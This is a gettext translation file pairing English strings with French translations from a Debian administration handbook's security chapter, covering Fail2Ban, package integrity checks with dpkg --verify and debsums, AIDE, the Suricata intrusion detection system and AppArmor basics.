msgid "<filename>action.d/*.conf</filename>. Actions defining the commands for banning and unbanning of IP addresses."
msgstr ""

msgid "<filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined."
msgstr ""

msgid "Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works..."
msgstr ""

msgid ""
"[...]\n"
"[DEFAULT]\n"
"[...]\n"
"bantime  = 10m\n"
"[...]\n"
"maxretry = 5\n"
"[...]\n"
"[sshd]\n"
"port    = ssh\n"
"logpath = %(sshd_log)s\n"
"backend = %(sshd_backend)s"
msgstr ""

msgid "Fail2Ban will check for failed login attepts for <command>sshd</command> using Python regular expressions defined in <filename>/etc/fail2ban/filters.d/sshd.conf</filename> against the log file of <command>sshd</command>, which is defined in the variable <literal>sshd_log</literal> in the file <filename>/etc/fail2ban/paths_common.conf</filename>. If Fail2Ban detects five failed login attempts in a row, it will ban the IP address where those attempts originated."
msgstr ""

msgid "Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet."
msgstr ""

msgid "A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt."
msgstr ""

msgid "Detecting Changes"
msgstr "DĂ©tection des changements"

#, fuzzy
#| msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgid "Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgstr "Une fois le système installé et configuré, l'état de la majorité des fichiers et répertoires (hors données) n'a pas de raison d'évoluer (sauf mises à jour de sécurité). Il est donc intéressant de s'assurer que c'est bien le cas : tout changement inattendu est alors suspect. Les outils présentés dans cette section permettent de surveiller tous les fichiers et de prévenir les administrateurs en cas d'altération inattendue, ou alors simplement de diagnostiquer l'étendue des altérations."

msgid "Auditing Packages with <command>dpkg --verify</command>"
msgstr "Audit des paquets avec <command>dpkg --verify</command>"

msgid "<primary><command>dpkg</command></primary><secondary><command>dpkg --verify</command></secondary>"
msgstr "<primary><command>dpkg</command></primary><secondary><command>dpkg --verify</command></secondary>"

msgid "<emphasis>GOING FURTHER</emphasis> Protecting against upstream changes"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Se protéger des modifications en amont"

#, fuzzy
#| msgid "<command>dpkg --verify</command> is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see <xref linkend=\"sect.package-authentication\" />), and taking care to only install packages from a certified origin."
msgid "<command>dpkg --verify</command> is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see <xref linkend=\"sect.package-authentication\" />), and taking care to only install packages from a certified origin."
msgstr "<command>dpkg --verify</command> peut être utilisé pour détecter les changements effectués sur les fichiers provenant d'un paquet Debian. Mais si le paquet Debian lui-même est compromis, il ne sera d'aucune utilité. Cela pourrait être le cas si le miroir Debian employé est lui-même compromis. Pour se protéger de ces attaques, il faut s'appuyer sur le mécanisme de vérification de signatures numériques intégré à APT (voir <xref linkend=\"sect.package-authentication\" />) et prendre soin de n'installer que des paquets dont l'origine a pu être certifiée."

msgid "<command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files."
msgstr "<command>dpkg --verify</command> (ou <command>dpkg -V</command>) est un outil intéressant qui permet de trouver quels fichiers installés ont été modifiés (potentiellement par un attaquant), mais cette information est à prendre avec précaution. Pour faire son travail, dpkg utilise les sommes de contrôle stockée dans sa propre base de données, qui est elle-même stockée sur le disque dur (dans le fichier <filename>/var/lib/dpkg/info/<replaceable>paquet</replaceable>.md5sums</filename>) ; un attaquant minutieux pourra donc mettre à jour ces fichiers pour qu'ils correspondent aux nouvelles sommes de contrôle des fichiers corrompus."

msgid "<emphasis>BACK TO BASICS</emphasis> File fingerprint"
msgstr "<emphasis>B.A.-BA</emphasis> Empreinte d'un fichier"

msgid "<primary>fingerprint</primary>"
msgstr "<primary>empreinte</primary>"

msgid "<primary>control sum</primary>"
msgstr "<primary>somme de contrĂ´le</primary>"

msgid "<primary>MD5</primary>"
msgstr "<primary>MD5</primary>"

msgid "<primary>SHA1</primary>"
msgstr "<primary>SHA1</primary>"

msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgstr "Rappelons qu'une empreinte est une valeur, généralement numérique (même si elle est codée en hexadécimal), constituant une sorte de signature caractéristique du contenu d'un fichier. Elle est calculée au moyen d'algorithmes (les plus connus étant MD5 et SHA1) qui garantissent dans la pratique que (presque) toute modification du fichier, aussi minime soit-elle, entraînera un changement de l'empreinte ; c'est l'« effet d'avalanche ». C'est pourquoi une empreinte numérique sert à vérifier que le contenu d'un fichier n'a pas été altéré. Ces algorithmes ne sont pas réversibles, c'est-à-dire que pour la plupart d'entre eux, il est impossible de retrouver un contenu inconnu à partir de la seule empreinte. De récentes découvertes scientifiques tendent à infirmer l'inviolabilité de ces principes, mais cela ne remet pas encore en cause leur usage puisque la création de contenus différents générant la même empreinte semble être très contraignante."

msgid "Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a \"5\" on the third character (when it fails)."
msgstr "La commande <command>dpkg -V</command> vérifie tous les paquets installés, et affiche une ligne pour chaque fichier qui échoue au test d'intégrité. Le format de sortie est le même que celui de <command>rpm -V</command>, où chaque caractère correspond à un test sur une métadonnée spécifique.  Malheureusement, <command>dpkg</command> ne stocke pas toutes les métadonnées requises pour tous les tests, et n'affichera donc que des points d'interrogation pour la plupart. À l'heure actuelle, seul le test de somme de contrôle peut afficher un « 5 » (en troisième colonne) en cas d'échec."

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>dpkg -V</userinput>\n"
"<computeroutput>??5??????   /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster</computeroutput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>dpkg -V</userinput>\n"
"<computeroutput>??5??????   /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster</computeroutput>"

msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate <filename>/etc/systemd/system/ssh.service</filename> override (which would be stored below <filename>/etc</filename> like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified."
msgstr "Dans l'exemple ci-dessus, dpkg signale un changement dans le fichier de service de SSH que l'administrateur a effectué dans le fichier du paquet au lieu de modifier la configuration avec un fichier <filename>/etc/systemd/system/ssh.service</filename> (stocké dans <filename>/etc</filename> comme tout fichier de configuration qui se respecte). dpkg liste également plusieurs fichiers de configuration (identifiés par la lettre « c » du deuxième champ) qui ont été (légitimement) modifiés."

msgid "Auditing Packages: <command>debsums</command> and its Limits"
msgstr "Audit des paquets : l'outil <command>debsums</command> et ses limites"

msgid "<primary><command>debsums</command></primary>"
msgstr "<primary><command>debsums</command></primary>"

msgid "<command>debsums</command> is the ancestor of <command>dpkg -V</command> and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar work-arounds)."
msgstr "<command>debsums</command> est l'ancêtre de <command>dpkg -V</command>, et ce dernier l'a rendu quasiment obsolète. Il souffre des mêmes restrictions que dpkg. Heureusement, il est possible de passer outre une partie de ces restrictions (ce que ne permet pas dpkg)."

msgid "Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgstr "Comme il n'est pas possible de faire confiance aux fichiers stockés sur le disque, <command>debsums</command> permet d'effectuer ses vérifications à partir de fichiers <filename>.deb</filename> plutôt qu'à partir de la base de données de dpkg. Pour télécharger les fichiers <filename>.deb</filename> de confiance de tous les paquets installés, on peut utiliser les téléchargements authentifiés d'APT. Mais cette opération peut être longue et pénible, et n'est donc pas à envisager dans le cadre d'une technique proactive à utiliser de manière routinière."

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives --generate=all</userinput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives --generate=all</userinput>"

msgid "Note that this example uses the <command>grep-status</command> command from the <emphasis role=\"pkg\">dctrl-tools</emphasis> package, which is not installed by default."
msgstr "Attention, cet exemple a employé la commande <command>grep-status</command> du paquet <emphasis role=\"pkg\">dctrl-tools</emphasis>, qui n'est pas installé en standard."

msgid "<command>debsums</command> can be run frequently as a cronjob setting <literal>CRON_CHECK</literal> in <filename>/etc/default/debsums</filename>. To ignore certain files outside the <filename>/etc</filename> directory, which have been altered on purpuse or which are expected to change (like <filename>/usr/share/misc/pci.ids</filename>) you can add them to <filename>/etc/debsums-ignore</filename>."
msgstr ""

msgid "Monitoring Files: AIDE"
msgstr "Surveillance des fichiers : AIDE"

msgid "<primary><emphasis role=\"pkg\">aide</emphasis> (Debian package)</primary>"
msgstr "<primary><emphasis role=\"pkg\">aide</emphasis> (paquet Debian)</primary>"

msgid "The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email."
msgstr "AIDE <foreignphrase>(Advanced Intrusion Detection Environment)</foreignphrase> est un outil qui sert à vérifier l'intégrité des fichiers et à détecter toute altération par rapport à une image du système préalablement enregistrée et validée. Cette dernière prend la forme d'une base de données (<filename>/var/lib/aide/aide.db</filename>) contenant les caractéristiques de tous les fichiers du système (permissions, horodatages, empreintes numériques, etc.). Cette base de données est initialisée une première fois par <command>aideinit</command> ; elle est ensuite employée pour vérifier quotidiennement (script <filename>/etc/cron.daily/aide</filename>) que rien n'a changé. Si des changements sont détectés, le logiciel les enregistre dans des fichiers de journalisation (<filename>/var/log/aide/*.log</filename>) et envoie un courrier à l'administrateur avec ses découvertes."

msgid "<emphasis>IN PRACTICE</emphasis> Protecting the database"
msgstr "<emphasis>EN PRATIQUE</emphasis> Protection de la base de données"

msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media."
msgstr "Puisque AIDE utilise une base de données pour comparer l'état des fichiers, il faut être conscient que la validité des résultats fournis dépend de la validité de la base de données. Sur un système compromis, un attaquant obtenant les droits <literal>root</literal> pourra remplacer la base de données et passer inaperçu. C'est pourquoi, pour plus de sécurité, il peut être intéressant de stocker la base de données de référence sur un support accessible en lecture seulement."

msgid "Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role=\"pkg\">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended."
msgstr "Le comportement du paquet <emphasis role=\"pkg\">aide</emphasis> se paramètre grâce à de nombreuses options dans <filename>/etc/default/aide</filename>. La configuration du logiciel proprement dit se trouve dans <filename>/etc/aide/aide.conf</filename> et <filename>/etc/aide/aide.conf.d/</filename> (en réalité, ces fichiers servent de base à <command>update-aide.conf</command> pour créer <filename>/var/lib/aide/aide.conf.autogenerated</filename>). La configuration indique quelles propriétés de chaque fichier il faut vérifier. Ainsi, le contenu des fichiers de logs peut varier tant que les permissions associées ne varient pas, mais le contenu et les permissions d'un exécutable doivent être fixes. La syntaxe n'est pas très compliquée, mais elle n'est pas forcément intuitive pour autant. La lecture de la page de manuel <citerefentry><refentrytitle>aide.conf</refentrytitle><manvolnum>5</manvolnum></citerefentry> est donc bénéfique."

msgid "A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database."
msgstr "Une nouvelle version de la base de données est générée chaque jour dans <filename>/var/lib/aide/aide.db.new</filename> et peut être utilisée pour remplacer la base officielle si tous les changements constatés étaient légitimes."

msgid "<emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain"
msgstr "<emphasis>ALTERNATIVE</emphasis> Tripwire et Samhain"

msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role=\"pkg\">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database."
msgstr "Tripwire est très similaire à AIDE ; la syntaxe de son fichier de configuration est quasiment identique. Le paquet <emphasis role=\"pkg\">tripwire</emphasis> propose en outre un mécanisme de signature du fichier de configuration afin qu'un attaquant ne puisse pas le changer pour le faire pointer vers une version différente de la base de données."

msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend=\"sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages\" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgstr "Samhain offre des fonctionnalités similaires ainsi qu'un certain nombre de fonctions pour détecter la présence de <foreignphrase>rootkits</foreignphrase> (voir <xref linkend=\"sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages\" />). En outre, il peut être employé sur tout un réseau et enregistrer ses traces sur un serveur central après les avoir signées."

msgid "<emphasis>QUICK LOOK</emphasis> The <emphasis role=\"pkg\">checksecurity</emphasis> and <emphasis role=\"pkg\">chkrootkit</emphasis>/<emphasis role=\"pkg\">rkhunter</emphasis> packages"
msgstr "<emphasis>DÉCOUVERTE</emphasis> Les paquets <emphasis role=\"pkg\">checksecurity</emphasis> et <emphasis role=\"pkg\">chkrootkit</emphasis>/<emphasis role=\"pkg\">rkhunter</emphasis>"

msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"

msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure."
msgstr "Le premier paquet contient plusieurs petits scripts qui effectuent des vérifications de base sur le système (mot de passe vide, détection de nouveaux fichiers setuid, etc.) et alertent l'administrateur si nécessaire. Malgré son nom explicite, il ne faut pas se fier seulement à ce paquet pour vérifier la sécurité d'un système Linux."

msgid "The <emphasis role=\"pkg\">chkrootkit</emphasis> and <emphasis role=\"pkg\">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems."
msgstr "Les paquets <emphasis role=\"pkg\">chkrootkit</emphasis> et <emphasis role=\"pkg\">rkhunter</emphasis> recherchent de potentiels <foreignphrase>rootkits</foreignphrase> installés sur le système. Rappelons qu'il s'agit de logiciels destinés à dissimuler la compromission d'un système et à conserver un contrôle discret sur la machine. Les tests ne sont pas fiables à 100 %, mais ils permettent tout de même d'attirer l'attention de l'administrateur sur des problèmes potentiels."

msgid "<emphasis role=\"pkg\">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications."
msgstr ""

msgid "Detecting Intrusion (IDS/NIDS)"
msgstr "DĂ©tection d'intrusion (IDS/NIDS)"

msgid "<primary>detection, intrusion</primary>"
msgstr "<primary>intrusion, détection de</primary>"

msgid "<primary>intrusion detection</primary>"
msgstr "<primary>détection d'intrusion</primary>"

msgid "<primary>IDS</primary>"
msgstr "<primary>IDS</primary>"

msgid "<primary>intrusion detection system</primary>"
msgstr "<primary><foreignphrase>Intrusion Detection System</foreignphrase></primary>"

msgid "<primary>NIDS</primary>"
msgstr "<primary>NIDS</primary>"

msgid "<primary>Network</primary><secondary>IDS</secondary>"
msgstr "<primary><foreignphrase>Network</foreignphrase></primary><secondary><foreignphrase>IDS</foreignphrase></secondary>"

msgid "<emphasis>BACK TO BASICS</emphasis> Denial of service"
msgstr "<emphasis>B.A.-BA</emphasis> DĂ©nis de service"

msgid "<primary>denial of service</primary>"
msgstr "<primary>dénis de service</primary>"

msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)."
msgstr "Une attaque de type « déni de service » a pour seul objectif de rendre un service réseau inexploitable. Que cela soit en surchargeant le serveur de requêtes ou en exploitant un bogue de celui-ci, le résultat est toujours le même : le service en question n'est plus fonctionnel, les utilisateurs habituels sont mécontents et l'hébergeur du service réseau visé s'est fait une mauvaise publicité (en plus d'avoir éventuellement perdu des ventes, s'il s'agit par exemple d'un site de commerce en ligne)."

msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not)."
msgstr "Une telle attaque est parfois « distribuée », il s'agit alors de surcharger la machine avec un grand nombre de requêtes en provenance de nombreuses sources, afin que le serveur ne puisse plus répondre aux requêtes légitimes. En anglais, on parle de <foreignphrase>(distributed) denial of service</foreignphrase> (abrégé en <acronym>DoS</acronym> ou <acronym>DDoS</acronym>)."

#, fuzzy
#| msgid "<command>suricata</command> (in the Debian package of the same name) is a NIDS — a <emphasis>Network Intrusion Detection System</emphasis>. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in <filename>/var/log/suricata</filename>. There are third party tools (Kibana/logstash) to better browse all the data collected. <ulink type=\"block\" url=\"http://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"
msgid "<command>suricata</command> (in the Debian package of the same name) is a NIDS — a <emphasis>Network Intrusion Detection System</emphasis>. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in <filename>/var/log/suricata</filename>. There are third party tools (Kibana/logstash) to better browse all the data collected. <ulink type=\"block\" url=\"https://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"
msgstr "<command>suricata</command> (du paquet Debian éponyme) est un outil de détection d'intrusions (NIDS — <foreignphrase>Network Intrusion Detection System</foreignphrase>) : il écoute en permanence le réseau pour repérer les tentatives d'infiltration et/ou les actes malveillants (notamment les dénis de service). Tous ces événements sont enregistrés dans des fichiers stockés dans <filename>/var/log/suricata</filename>. Des outils tiers (Kibana/Logstash) permettent de naviguer de manière pratique dans les données collectées. <ulink type=\"block\" url=\"http://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"

msgid "<primary><command>snort</command></primary>"
msgstr "<primary><command>snort</command></primary>"

msgid "<primary><command>suricata</command></primary>"
msgstr "<primary><command>suricata</command></primary>"

msgid "<emphasis>CAUTION</emphasis> Range of action"
msgstr "<emphasis>ATTENTION</emphasis> Rayon d'action"

msgid "The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgstr "<command>suricata</command> est limité par le trafic qu'il voit transiter sur son interface réseau : il ne pourra évidemment rien détecter s'il n'observe rien. Branché sur un commutateur <foreignphrase>(switch)</foreignphrase>, il ne surveillera que les attaques ciblant la machine l'hébergeant, ce qui n'a qu'un intérêt assez limité. Pensez donc à relier la machine employant <command>suricata</command> au port « miroir », qui permet habituellement de chaîner les commutateurs et sur lequel tout le trafic est dupliqué."

msgid "Configuring suricata involves reviewing and editing <filename>/etc/suricata/suricata-debian.yaml</filename>, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (<literal>HOME_NET</literal> parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation."
msgstr "La configuration de Suricata se fait par le biais du fichier <filename>/etc/suricata/suricata-debian.yaml</filename>, qui est très long puisque chaque paramètre y est abondamment décrit. A minima, il faudra configurer la plage d'adresses couverte par le réseau local (le paramètre <literal>HOME_NET</literal>). En pratique, il s'agit de l'ensemble de toutes les cibles d'attaques potentielles. Mais pour tirer le meilleur parti de l'outil, il faudra lire ce fichier dans son intégralité et l'adapter au mieux à la situation locale."

msgid "On top of this, you should also edit <filename>/etc/default/suricata</filename> to define the network interface to monitor and to enable the init script (by setting <literal>RUN=yes</literal>). You might also want to set <literal>LISTENMODE=pcap</literal> because the default <literal>LISTENMODE=nfqueue</literal> requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the <literal>NFQUEUE</literal> target)."
msgstr "Il faudra également modifier <filename>/etc/default/suricata</filename> pour y déclarer l'interface réseau à superviser, et y activer le script d'initialisation (en réglant <literal>RUN=yes</literal>). On pourra aussi régler <literal>LISTENMODE=pcap</literal>, parce que la valeur par défaut (<literal>nfqueue</literal>) ne fonctionne pas sans une configuration supplémentaire (le pare-feu netfilter doit être configuré pour passer les paquets à une file d'attente en espace utilisateur gérée par Suricata, via la cible <literal>NFQUEUE</literal>)."

#, fuzzy
#| msgid "To detect bad behaviour, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role=\"pkg\">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it. Unfortunately that package is missing from <emphasis role=\"distribution\">Debian Jessie</emphasis> and should be retrieved from another Debian release like <emphasis role=\"distribution\">Testing</emphasis> or <emphasis role=\"distribution\">Unstable</emphasis>."
msgid "To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role=\"pkg\">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it."
msgstr "<command>suricata</command> détecte les comportements anormaux sur la foi d'un ensemble de règles de supervision. Un ensemble de ces règles est disponible dans le paquet <emphasis role=\"pkg\">snort-rules-default</emphasis>. <command>snort</command> est la référence de l'écosystème IDS, et <command>suricata</command> peut réutiliser les règles écrites pour <command>snort</command>. Malheureusement, ce paquet n'est pas disponible dans Debian <emphasis role=\"distribution\">Jessie</emphasis>, et il faudra se le procurer depuis une autre version de Debian, comme <emphasis role=\"distribution\">Testing</emphasis> ou <emphasis role=\"distribution\">Unstable</emphasis>."

msgid "Alternatively, <command>oinkmaster</command> (in the package of the same name) can be used to download Snort rulesets from external sources."
msgstr "Une autre possibilité est d'utiliser <command>oinkmaster</command> (dans le paquet du même nom), qui est capable de télécharger des ensembles de règles Snort depuis des sources externes."

msgid "<emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Intégration avec <command>prelude</command>"

msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role=\"pkg\">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types."
msgstr "Prelude offre une supervision centralisée des informations de sécurité. Pour cela, il dispose d'une architecture modulaire : un serveur (le <foreignphrase>manager</foreignphrase> du paquet <emphasis>prelude-manager</emphasis>) centralise les alertes détectées par des capteurs <foreignphrase>(sensors)</foreignphrase> de plusieurs types."

msgid "Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend=\"sect.logcheck\" />)."
msgstr "Suricata peut être configuré comme un de ces capteurs. Il existe aussi <emphasis>prelude-lml</emphasis> (<foreignphrase>Log Monitor Lackey</foreignphrase>, ou laquais de surveillance de journaux système) qui surveille quant à lui les fichiers de <emphasis>logs</emphasis>, à l'instar de <command>logcheck</command> (voir <xref linkend=\"sect.logcheck\" />), déjà étudié."

msgid "<primary><command>prelude</command></primary>"
msgstr "<primary><command>prelude</command></primary>"

msgid "Introduction to AppArmor"
msgstr "Introduction Ă  AppArmor"

msgid "<primary>AppArmor</primary>"
msgstr "<primary>AppArmor</primary>"

msgid "Principles"
msgstr "Les principes"

msgid "AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources."
msgstr "AppArmor est un système de contrôle d'accès obligatoire <foreignphrase>(Mandatory Access Control)</foreignphrase> qui s'appuie sur l'interface <foreignphrase>Linux Security Modules</foreignphrase> fournie par le noyau Linux. Concrètement, le noyau interroge AppArmor avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée. Ce mécanisme permet à AppArmor de confiner des programmes à un ensemble restreint de ressources."

msgid "<primary><emphasis>Mandatory Access Control</emphasis></primary>"
msgstr "<primary><emphasis>Mandatory Access Control</emphasis></primary>"

msgid "<primary><emphasis>Linux Security Modules</emphasis></primary>"
msgstr "<primary><emphasis>Linux Security Modules</emphasis></primary>"

#, fuzzy
#| msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend=\"sect.selinux\" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behaviour!)."
msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend=\"sect.selinux\" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!)."
msgstr "AppArmor applique un ensemble de règles (un « profil ») à chaque programme. Le profil appliqué par le noyau dépend du chemin d'installation du programme à exécuter. Contrairement à SELinux (décrit dans <xref linkend=\"sect.selinux\" />), les règles appliquées ne dépendent pas de l'utilisateur : tous les utilisateurs sont concernés par le même jeu de règles lorsqu'ils exécutent le même programme (mais les permissions habituelles des utilisateurs jouent toujours, ce qui peut donner un comportement différent)."

msgid "AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied."
msgstr "Les profils AppArmor sont stockés dans <filename>/etc/apparmor.d/</filename> ; ils consistent en une liste de règles de contrôle d'accès sur les ressources que peut utiliser chaque programme. Les profils sont compilés et chargés dans le noyau par le biais de la commande <command>apparmor_parser</command>. Chaque profil peut être chargé soit en mode strict <foreignphrase>(enforcing)</foreignphrase> soit en mode relâché <foreignphrase>(complaining)</foreignphrase>. Le mode strict applique les règles et rapporte les tentatives de violation, alors que le mode relâché se contente d'enregistrer dans les journaux système les appels système qui auraient été bloqués, sans les bloquer réellement."

msgid "Enabling AppArmor and managing AppArmor profiles"
